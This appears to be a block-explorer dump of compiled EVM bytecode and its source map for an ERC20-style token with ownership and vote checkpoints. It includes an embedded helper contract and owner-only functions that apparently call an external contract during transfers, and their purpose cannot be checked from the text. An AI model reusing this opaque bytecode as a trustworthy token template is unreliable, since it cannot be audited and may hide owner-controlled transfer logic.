919050565b5f6127388261238c565b91506127438361238c565b9250828203905063ffffffff81111561275f5761275e612640565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61279c8261238c565b91506127a78361238c565b9250826127b7576127b6612765565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61281c60258361207e565b9150612827826127c2565b604082019050919050565b5f6020820190508181035f83015261284981612810565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128aa60268361207e565b91506128b582612850565b604082019050919050565b5f6020820190508181035f8301526128d78161289e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61293860248361207e565b9150612943826128de565b604082019050919050565b5f6020820190508181035f8301526129658161292c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129c660228361207e565b91506129d18261296c565b604082019050919050565b5f6020820190508181035f8301526129f3816129ba565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a5460258361207e565b9150612a5f826129fa565b604082019050919050565b5f6020820190508181035f830152612a8181612a48565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae260238361207e565b9150612aed82612a88565b604082019050919050565b5f6020820190508181035f830152612b0f81612ad6565b9050919050565b5f612b208261217c565b9150612b2b8361217c565b9250828203905081811115612b4357612b42612640565b5b92915050565b5f612b538261238c565b9150612b5e8361238c565b9250828201905063ffffffff811115612b7a57612b79612640565b5b92915050565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e745f8201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b5f612bda60308361207e565b9150612be582612b80565b604082019050919050565b5f6020820190508181035f830152612c0781612bce565b9050919050565b5f604082019050612c215f830185612284565b612c2e6020830184612284565b939250505056fe608060405234801561000f575f80fd5b506101e18061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80636bf92ea21461002d575b5f80fd5b6100476004803603810190610042919061015b565b610049565b005b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f7826100ce565b9050919050565b610107816100ed565b8114610111575f80fd5b50565b5f81359050610122816100fe565b92915050565b5f819050919050565b61013a81610128565b8114610144575f80fd5b50565b5f8135905061015581610131565b92915050565b5f805f60608486031215610172576101716100ca565b5b5f61017f86828701610114565b935050602061019086828701610114565b92505060406101a186828701610147565b915050925092509256fea2646970667358221220f5f0663f3f54f3082b9f25b3543a009ee806b9ecf211799a2e82213942e8956164736f6c634300081500335f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212204279fac9f847218b41652a2205b147efdb1eef0d4b4731c875a941404cc94d5a64736f6c63430008150033
Deployed Bytecode Sourcemap
8158:5199:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3040:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3715:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6411:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2814:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8871:122;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3892:496;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3274:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4396:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2439:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8813:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3139:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1064:148;;;:::i;:::-;;10548:1158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9128:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12929:95;;;:::i;:::-;;841:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2934:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9391:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3373:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;668:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3556:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9002:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8734:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;1220:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3040:91;3085:13;3118:5;3111:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3040:91;:::o;3715:169::-;3798:4;3815:39;3824:12;:10;:12::i;:::-;3838:7;3847:6;3815:8;:39::i;:::-;3872:4;3865:11;;3715:169;;;;:::o;6411:281::-;987:12;:10;:12::i;:::-;976:23;;:7;:5;:7::i;:::-;:23;;;968:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6530:4:::1;6514:20;;:14;;;;;;;;;;;:20;;::::0;6511:174:::1;;6558:1;6549:6;:10;6546:89;;;6561:18;6574:4;6561:12;:18::i;:::-;6546:89;;;6611:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;6603:7;;:22;;;;;;;;;;;;;;;;;;6546:89;6645:7;;;;;;;;;;;:12;;;6658:4;6664:2;6668:6;6645:30;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;6511:174;6411:281:::0;;;;:::o;2814:108::-;2875:7;2902:12;;2895:19;;2814:108;:::o;8871:122::-;8913:80;8871:122;:::o;3892:496::-;3998:4;4016:36;4026:6;4034:9;4045:6;4016:9;:36::i;:::-;4065:24;4092:11;:19;4104:6;4092:19;;;;;;;;;;;;;;;:33;4112:12;:10;:12::i;:::-;4092:33;;;;;;;;;;;;;;;;4065:60;;4178:6;4158:16;:26;;4136:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;4288:57;4297:6;4305:12;:10;:12::i;:::-;4338:6;4319:16;:25;4288:8;:57::i;:::-;4376:4;4369:11;;;3892:496;;;;;:::o;3274:91::-;3323:5;3348:9;;;;;;;;;;;3341:16;;3274:91;:::o;4396:225::-;4504:4;4521:70;4530:12;:10;:12::i;:::-;4544:2;4580:10;4548:11;:25;4560:12;:10;:12::i;:::-;4548:25;;;;;;;;;;;;;;;:29;4574:2;4548:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;4521:8;:70::i;:::-;4609:4;4602:11;;4396:225;;;;:::o;2439:26::-;;;;;;;;;;;;;:::o;8813:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;3139:127::-;3213:7;3240:9;:18;3250:7;3240:18;;;;;;;;;;;;;;;;3233:25;;3139:127;;;:::o;1064:148::-;987:12;:10;:12::i;:::-;976:23;;:7;:5;:7::i;:::-;:23;;;968:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1171:1:::1;1134:40;;1155:6;::::0;::::1;;;;;;;;1134:40;;;;;;;;;;;;1202:1;1185:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1064:148::o:0;10548:1158::-;10656:7;10703:12;10689:11;:26;10681:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10766:19;10788:14;:23;10803:7;10788:23;;;;;;;;;;;;;;;;;;;;;;;;;10766:45;;10842:1;10826:12;:17;;;10822:58;;10867:1;10860:8;;;;;10822:58;10948:11;10896;:20;10908:7;10896:20;;;;;;;;;;;;;;;:38;10932:1;10917:12;:16;;;;:::i;:::-;10896:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;10892:147;;10983:11;:20;10995:7;10983:20;;;;;;;;;;;;;;;:38;11019:1;11004:12;:16;;;;:::i;:::-;10983:38;;;;;;;;;;;;;;;:44;;;10976:51;;;;;10892:147;11091:11;11055;:20;11067:7;11055:20;;;;;;;;;;;;;;;:23;11076:1;11055:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;11051:88;;;11126:1;11119:8;;;;;11051:88;11151:12;11178;11208:1;11193:12;:16;;;;:::i;:::-;11178:31;;11220:428;11235:5;11227:13;;:5;:13;;;11220:428;;;11257:13;11299:1;11290:5;11282;:13;;;;:::i;:::-;11281:19;;;;:::i;:::-;11273:5;:27;;;;:::i;:::-;11257:43;;11342:20;11365:11;:20;11377:7;11365:20;;;;;;;;;;;;;;;:28;11386:6;11365:28;;;;;;;;;;;;;;;11342:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11428:11;11412:2;:12;;;:27;;;11408:229;;11467:2;:8;;;11460:15;;;;;;;;;11408:229;11516:11;11501:2;:12;;;:26;;;11497:140;;;11556:6;11548:14;;11497:140;;;11620:1;11611:6;:10;;;;:::i;:::-;11603:18;;11497:140;11242:406;;11220:428;;;11665:11;:20;11677:7;11665:20;;;;;;;;;;;;;;;:27;11686:5;11665:27;;;;;;;;;;;;;;;:33;;;11658:40;;;;;10548:1158;;;;;:::o;9128:39::-;;;;;;;;;;;;;;;;;:::o;12929:95::-;987:12;:10;:12::i;:::-;976:23;;:7;:5;:7::i;:::-;:23;;;968:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13002:14:::1;;;;;;;;;;;13001:15;12984:14;;:32;;;;;;;;;;;;;;;;;;12929:95::o:0;841:87::-;887:7;914:6;;;;;;;;;;;907:13;;841:87;:::o;2934:95::-;2981:13;3014:7;3007:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2934:95;:::o;9391:248::-;9476:7;9501:19;9523:14;:23;9538:7;9523:23;;;;;;;;;;;;;;;;;;;;;;;;;9501:45;;9579:1;9564:12;:16;;;:67;;9630:1;9564:67;;;9583:11;:20;9595:7;9583:20;;;;;;;;;;;;;;;:38;9619:1;9604:12;:16;;;;:::i;:::-;9583:38;;;;;;;;;;;;;;;:44;;;9564:67;9557:74;;;9391:248;;;:::o;4629:460::-;4742:4;4759:24;4786:11;:25;4798:12;:10;:12::i;:::-;4786:25;;;;;;;;;;;;;;;:29;4812:2;4786:29;;;;;;;;;;;;;;;;4759:56;;4868:15;4848:16;:35;;4826:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;4984:62;4993:12;:10;:12::i;:::-;5007:2;5030:15;5011:16;:34;4984:8;:62::i;:::-;5077:4;5070:11;;;4629:460;;;;:::o;3373:175::-;3459:4;3476:42;3486:12;:10;:12::i;:::-;3500:9;3511:6;3476:9;:42::i;:::-;3536:4;3529:11;;3373:175;;;;:::o;668:164::-;775:9;742:43;;771:1;742:43;;;;;;;;;;;;820:4;796:21;;:28;;;;;;;;;;;;;;;;;;668:164;:::o;3556:151::-;3645:7;3672:11;:18;3684:5;3672:18;;;;;;;;;;;;;;;:27;3691:7;3672:27;;;;;;;;;;;;;;;;3665:34;;3556:151;;;;:::o;9002:117::-;9048:71;9002:117;:::o;8734:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1220:244::-;987:12;:10;:12::i;:::-;976:23;;:7;:5;:7::i;:::-;:23;;;968:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1329:1:::1;1309:22;;:8;:22;;::::0;1301:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1419:8;1390:38;;1411:6;::::0;::::1;;;;;;;;1390:38;;;;;;;;;;;;1448:8;1439:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1220:244:::0;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;5951:346::-;6070:1;6053:19;;:5;:19;;;6045:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6151:1;6132:21;;:7;:21;;;6124:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6235:6;6205:11;:18;6217:5;6205:18;;;;;;;;;;;;;;;:27;6224:7;6205:27;;;;;;;;;;;;;;;:36;;;;6273:7;6257:32;;6266:5;6257:32;;;6282:6;6257:32;;;;;;:::i;:::-;;;;;;;;5951:346;;;:::o;6865:122::-;6921:10;:8;:10::i;:::-;6917:63;;;6966:1;6947:7;;:21;;;;;;;;;;;;;;;;;;6917:63;6865:122;:::o;8349:235::-;8448:42;8464:6;8472:9;8483:6;8448:15;:42::i;:::-;8501:65;8516:10;:18;8527:6;8516:18;;;;;;;;;;;;;;;;;;;;;;;;;8536:10;:21;8547:9;8536:21;;;;;;;;;;;;;;;;;;;;;;;;;8559:6;8501:14;:65::i;:::-;8349:235;;;:::o;1472:95::-;1515:4;1538:21;;;;;;;;;;;1531:28;;1472:95;:::o;5097:562::-;5221:1;5203:20;;:6;:20;;;5195:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5305:1;5284:23;;:9;:23;;;5276:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5360:47;5381:6;5389:9;5400:6;5360:20;:47::i;:::-;5418:21;5442:9;:17;5452:6;5442:17;;;;;;;;;;;;;;;;5418:41;;5532:6;5516:13;:22;5496:9;:17;5506:6;5496:17;;;;;;;;;;;;;;;:42;;;;5584:6;5560:9;:20;5570:9;5560:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5633:9;5616:35;;5625:6;5616:35;;;5644:6;5616:35;;;;;;:::i;:::-;;;;;;;;5184:475;5097:562;;;:::o;9647:893::-;9753:6;9743:16;;:6;:16;;;;:30;;;;;9772:1;9763:6;:10;9743:30;9739:794;;;9812:1;9794:20;;:6;:20;;;9790:382;;9883:16;9902:14;:22;9917:6;9902:22;;;;;;;;;;;;;;;;;;;;;;;;;9883:41;;9943:17;9975:1;9963:9;:13;;;:60;;10022:1;9963:60;;;9979:11;:19;9991:6;9979:19;;;;;;;;;;;;;;;:34;10011:1;9999:9;:13;;;;:::i;:::-;9979:34;;;;;;;;;;;;;;;:40;;;9963:60;9943:80;;10042:17;10074:6;10062:9;:18;;;;:::i;:::-;10042:38;;10099:57;10116:6;10124:9;10135;10146;10099:16;:57::i;:::-;9816:356;;;9790:382;10210:1;10192:20;;:6;:20;;;10188:334;;10233:16;10252:14;:22;10267:6;10252:22;;;;;;;;;;;;;;;;;;;;;;;;;10233:41;;10293:17;10325:1;10313:9;:13;;;:60;;10372:1;10313:60;;;10329:11;:19;10341:6;10329:19;;;;;;;;;;;;;;;:34;10361:1;10349:9;:13;;;;:::i;:::-;10329:34;;;;;;;;;;;;;;;:40;;;10313:60;10293:80;;10392:17;10424:6;10412:9;:18;;;;:::i;:::-;10392:38;;10449:57;10466:6;10474:9;10485;10496;10449:16;:57::i;:::-;10214:308;;;10188:334;9739:794;9647:893;;;:::o;6700:157::-;6809:7;;;;;;;;;;;:12;;;6822:6;6830:9;6841:6;6809:39;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6700:157;;;:::o;12116:805::-;12295:18;12316:70;12323:12;12316:70;;;;;;;;;;;;;;;;;:6;:70::i;:::-;12295:91;;12418:1;12403:12;:16;;;:85;;;;;12477:11;12423:65;;:11;:22;12435:9;12423:22;;;;;;;;;;;;;;;:40;12461:1;12446:12;:16;;;;:::i;:::-;12423:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;12403:85;12399:446;;;12554:8;12505:11;:22;12517:9;12505:22;;;;;;;;;;;;;;;:40;12543:1;12528:12;:16;;;;:::i;:::-;12505:40;;;;;;;;;;;;;;;:46;;:57;;;;12399:446;;;12634:33;;;;;;;;12645:11;12634:33;;;;;;12658:8;12634:33;;;12595:11;:22;12607:9;12595:22;;;;;;;;;;;;;;;:36;12618:12;12595:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12709:12;12690:31;;12705:1;12690:12;:16;;;;:::i;:::-;:31;;;12682:92;;;;;;;;;;;;:::i;:::-;;;;;;;;;12832:1;12817:12;:16;;;;:::i;:::-;12789:14;:25;12804:9;12789:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;12399:446;12883:9;12862:51;;;12894:8;12904;12862:51;;;;;;;:::i;:::-;;;;;;;;12284:637;12116:805;;;;:::o;13193:161::-;13268:6;13299:5;13295:1;:9;13306:12;13287:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;13344:1;13330:16;;13193:161;;;;:::o;-1:-1:-1:-;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:765::-;3532:6;3540;3548;3556;3605:3;3593:9;3584:7;3580:23;3576:33;3573:120;;;3612:79;;:::i;:::-;3573:120;3732:1;3757:53;3802:7;3793:6;3782:9;3778:22;3757:53;:::i;:::-;3747:63;;3703:117;3859:2;3885:53;3930:7;3921:6;3910:9;3906:22;3885:53;:::i;:::-;3875:63;;3830:118;3987:2;4013:53;4058:7;4049:6;4038:9;4034:22;4013:53;:::i;:::-;4003:63;;3958:118;4115:2;4141:53;4186:7;4177:6;4166:9;4162:22;4141:53;:::i;:::-;4131:63;;4086:118;3446:765;;;;;;;:::o;4217:118::-;4304:24;4322:5;4304:24;:::i;:::-;4299:3;4292:37;4217:118;;:::o;4341:222::-;4434:4;4472:2;4461:9;4457:18;4449:26;;4485:71;4553:1;4542:9;4538:17;4529:6;4485:71;:::i;:::-;4341:222;;;;:::o;4569:77::-;4606:7;4635:5;4624:16;;4569:77;;;:::o;4652:118::-;4739:24;4757:5;4739:24;:::i;:::-;4734:3;4727:37;4652:118;;:::o;4776:222::-;4869:4;4907:2;4896:9;4892:18;4884:26;;4920:71;4988:1;4977:9;4973:17;4964:6;4920:71;:::i;:::-;4776:222;;;;:::o;5004:619::-;5081:6;5089;5097;5146:2;5134:9;5125:7;5121:23;5117:32;5114:119;;;5152:79;;:::i;:::-;5114:119;5272:1;5297:53;5342:7;5333:6;5322:9;5318:22;5297:53;:::i;:::-;5287:63;;5243:117;5399:2;5425:53;5470:7;5461:6;5450:9;5446:22;5425:53;:::i;:::-;5415:63;;5370:118;5527:2;5553:53;5598:7;5589:6;5578:9;5574:22;5553:53;:::i;:::-;5543:63;;5498:118;5004:619;;;;;:::o;5629:86::-;5664:7;5704:4;5697:5;5693:16;5682:27;;5629:86;;;:::o;5721:112::-;5804:22;5820:5;5804:22;:::i;:::-;5799:3;5792:35;5721:112;;:::o;5839:214::-;5928:4;5966:2;5955:9;5951:18;5943:26;;5979:67;6043:1;6032:9;6028:17;6019:6;5979:67;:::i;:::-;5839:214;;;;:::o;6059:329::-;6118:6;6167:2;6155:9;6146:7;6142:23;6138:32;6135:119;;;6173:79;;:::i;:::-;6135:119;6293:1;6318:53;6363:7;6354:6;6343:9;6339:22;6318:53;:::i;:::-;6308:63;;6264:117;6059:329;;;;:::o;6394:93::-;6430:7;6470:10;6463:5;6459:22;6448:33;;6394:93;;;:::o;6493:115::-;6578:23;6595:5;6578:23;:::i;:::-;6573:3;6566:36;6493:115;;:::o;6614:218::-;6705:4;6743:2;6732:9;6728:18;6720:26;;6756:69;6822:1;6811:9;6807:17;6798:6;6756:69;:::i;:::-;6614:218;;;;:::o;6838:118::-;6925:24;6943:5;6925:24;:::i;:::-;6920:3;6913:37;6838:118;;:::o;6962:222::-;7055:4;7093:2;7082:9;7078:18;7070:26;;7106:71;7174:1;7163:9;7159:17;7150:6;7106:71;:::i;:::-;6962:222;;;;:::o;7190:474::-;7258:6;7266;7315:2;7303:9;7294:7;7290:23;7286:32;7283:119;;;7321:79;;:::i;:::-;7283:119;7441:1;7466:53;7511:7;7502:6;7491:9;7487:22;7466:53;:::i;:::-;7456:63;;7412:117;7568:2;7594:53;7639:7;7630:6;7619:9;7615:22;7594:53;:::i;:::-;7584:63;;7539:118;7190:474;;;;;:::o;7670:120::-;7742:23;7759:5;7742:23;:::i;:::-;7735:5;7732:34;7722:62;;7780:1;7777;7770:12;7722:62;7670:120;:::o;7796:137::-;7841:5;7879:6;7866:20;7857:29;;7895:32;7921:5;7895:32;:::i;:::-;7796:137;;;;:::o;7939:472::-;8006:6;8014;8063:2;8051:9;8042:7;8038:23;8034:32;8031:119;;;8069:79;;:::i;:::-;8031:119;8189:1;8214:53;8259:7;8250:6;8239:9;8235:22;8214:53;:::i;:::-;8204:63;;8160:117;8316:2;8342:52;8386:7;8377:6;8366:9;8362:22;8342:52;:::i;:::-;8332:62;;8287:117;7939:472;;;;;:::o;8417:328::-;8536:4;8574:2;8563:9;8559:18;8551:26;;8587:69;8653:1;8642:9;8638:17;8629:6;8587:69;:::i;:::-;8666:72;8734:2;8723:9;8719:18;8710:6;8666:72;:::i;:::-;8417:328;;;;;:::o;8751:180::-;8799:77;8796:1;8789:88;8896:4;8893:1;8886:15;8920:4;8917:1;8910:15;8937:320;8981:6;9018:1;9012:4;9008:12;8998:22;;9065:1;9059:4;9055:12;9086:18;9076:81;;9142:4;9134:6;9130:17;9120:27;;9076:81;9204:2;9196:6;9193:14;9173:18;9170:38;9167:84;;9223:18;;:::i;:::-;9167:84;8988:269;8937:320;;;:::o;9263:182::-;9403:34;9399:1;9391:6;9387:14;9380:58;9263:182;:::o;9451:366::-;9593:3;9614:67;9678:2;9673:3;9614:67;:::i;:::-;9607:74;;9690:93;9779:3;9690:93;:::i;:::-;9808:2;9803:3;9799:12;9792:19;;9451:366;;;:::o;9823:419::-;9989:4;10027:2;10016:9;10012:18;10004:26;;10076:9;10070:4;10066:20;10062:1;10051:9;10047:17;10040:47;10104:131;10230:4;10104:131;:::i;:::-;10096:139;;9823:419;;;:::o;10248:442::-;10397:4;10435:2;10424:9;10420:18;10412:26;;10448:71;10516:1;10505:9;10501:17;10492:6;10448:71;:::i;:::-;10529:72;10597:2;10586:9;10582:18;10573:6;10529:72;:::i;:::-;10611;10679:2;10668:9;10664:18;10655:6;10611:72;:::i;:::-;10248:442;;;;;;:::o;10696:227::-;10836:34;10832:1;10824:6;10820:14;10813:58;10905:10;10900:2;10892:6;10888:15;10881:35;10696:227;:::o;10929:366::-;11071:3;11092:67;11156:2;11151:3;11092:67;:::i;:::-;11085:74;;11168:93;11257:3;11168:93;:::i;:::-;11286:2;11281:3;11277:12;11270:19;;10929:366;;;:::o;11301:419::-;11467:4;11505:2;11494:9;11490:18;11482:26;;11554:9;11548:4;11544:20;11540:1;11529:9;11525:17;11518:47;11582:131;11708:4;11582:131;:::i;:::-;11574:139;;11301:419;;;:::o;11726:180::-;11774:77;11771:1;11764:88;11871:4;11868:1;11861:15;11895:4;11892:1;11885:15;11912:191;11952:3;11971:20;11989:1;11971:20;:::i;:::-;11966:25;;12005:20;12023:1;12005:20;:::i;:::-;12000:25;;12048:1;12045;12041:9;12034:16;;12069:3;12066:1;12063:10;12060:36;;;12076:18;;:::i;:::-;12060:36;11912:191;;;;:::o;12109:220::-;12249:34;12245:1;12237:6;12233:14;12226:58;12318:3;12313:2;12305:6;12301:15;12294:28;12109:220;:::o;12335:366::-;12477:3;12498:67;12562:2;12557:3;12498:67;:::i;:::-;12491:74;;12574:93;12663:3;12574:93;:::i;:::-;12692:2;12687:3;12683:12;12676:19;;12335:366;;;:::o;12707:419::-;12873:4;12911:2;12900:9;12896:18;12888:26;;12960:9;12954:4;12950:20;12946:1;12935:9;12931:17;12924:47;12988:131;13114:4;12988:131;:::i;:::-;12980:139;;12707:419;;;:::o;13132:200::-;13171:4;13191:19;13208:1;13191:19;:::i;:::-;13186:24;;13224:19;13241:1;13224:19;:::i;:::-;13219:24;;13267:1;13264;13260:9;13252:17;;13291:10;13285:4;13282:20;13279:46;;;13305:18;;:::i;:::-;13279:46;13132:200;;;;:::o;13338:180::-;13386:77;13383:1;13376:88;13483:4;13480:1;13473:15;13507:4;13504:1;13497:15;13524:182;13563:1;13580:19;13597:1;13580:19;:::i;:::-;13575:24;;13613:19;13630:1;13613:19;:::i;:::-;13608:24;;13651:1;13641:35;;13656:18;;:::i;:::-;13641:35;13698:1;13695;13691:9;13686:14;;13524:182;;;;:::o;13712:224::-;13852:34;13848:1;13840:6;13836:14;13829:58;13921:7;13916:2;13908:6;13904:15;13897:32;13712:224;:::o;13942:366::-;14084:3;14105:67;14169:2;14164:3;14105:67;:::i;:::-;14098:74;;14181:93;14270:3;14181:93;:::i;:::-;14299:2;14294:3;14290:12;14283:19;;13942:366;;;:::o;14314:419::-;14480:4;14518:2;14507:9;14503:18;14495:26;;14567:9;14561:4;14557:20;14553:1;14542:9;14538:17;14531:47;14595:131;14721:4;14595:131;:::i;:::-;14587:139;;14314:419;;;:::o;14739:225::-;14879:34;14875:1;14867:6;14863:14;14856:58;14948:8;14943:2;14935:6;14931:15;14924:33;14739:225;:::o;14970:366::-;15112:3;15133:67;15197:2;15192:3;15133:67;:::i;:::-;15126:74;;15209:93;15298:3;15209:93;:::i;:::-;15327:2;15322:3;15318:12;15311:19;;14970:366;;;:::o;15342:419::-;15508:4;15546:2;15535:9;15531:18;15523:26;;15595:9;15589:4;15585:20;15581:1;15570:9;15566:17;15559:47;15623:131;15749:4;15623:131;:::i;:::-;15615:139;;15342:419;;;:::o;15767:223::-;15907:34;15903:1;15895:6;15891:14;15884:58;15976:6;15971:2;15963:6;15959:15;15952:31;15767:223;:::o;15996:366::-;16138:3;16159:67;16223:2;16218:3;16159:67;:::i;:::-;16152:74;;16235:93;16324:3;16235:93;:::i;:::-;16353:2;16348:3;16344:12;16337:19;;15996:366;;;:::o;16368:419::-;16534:4;16572:2;16561:9;16557:18;16549:26;;16621:9;16615:4;16611:20;16607:1;16596:9;16592:17;16585:4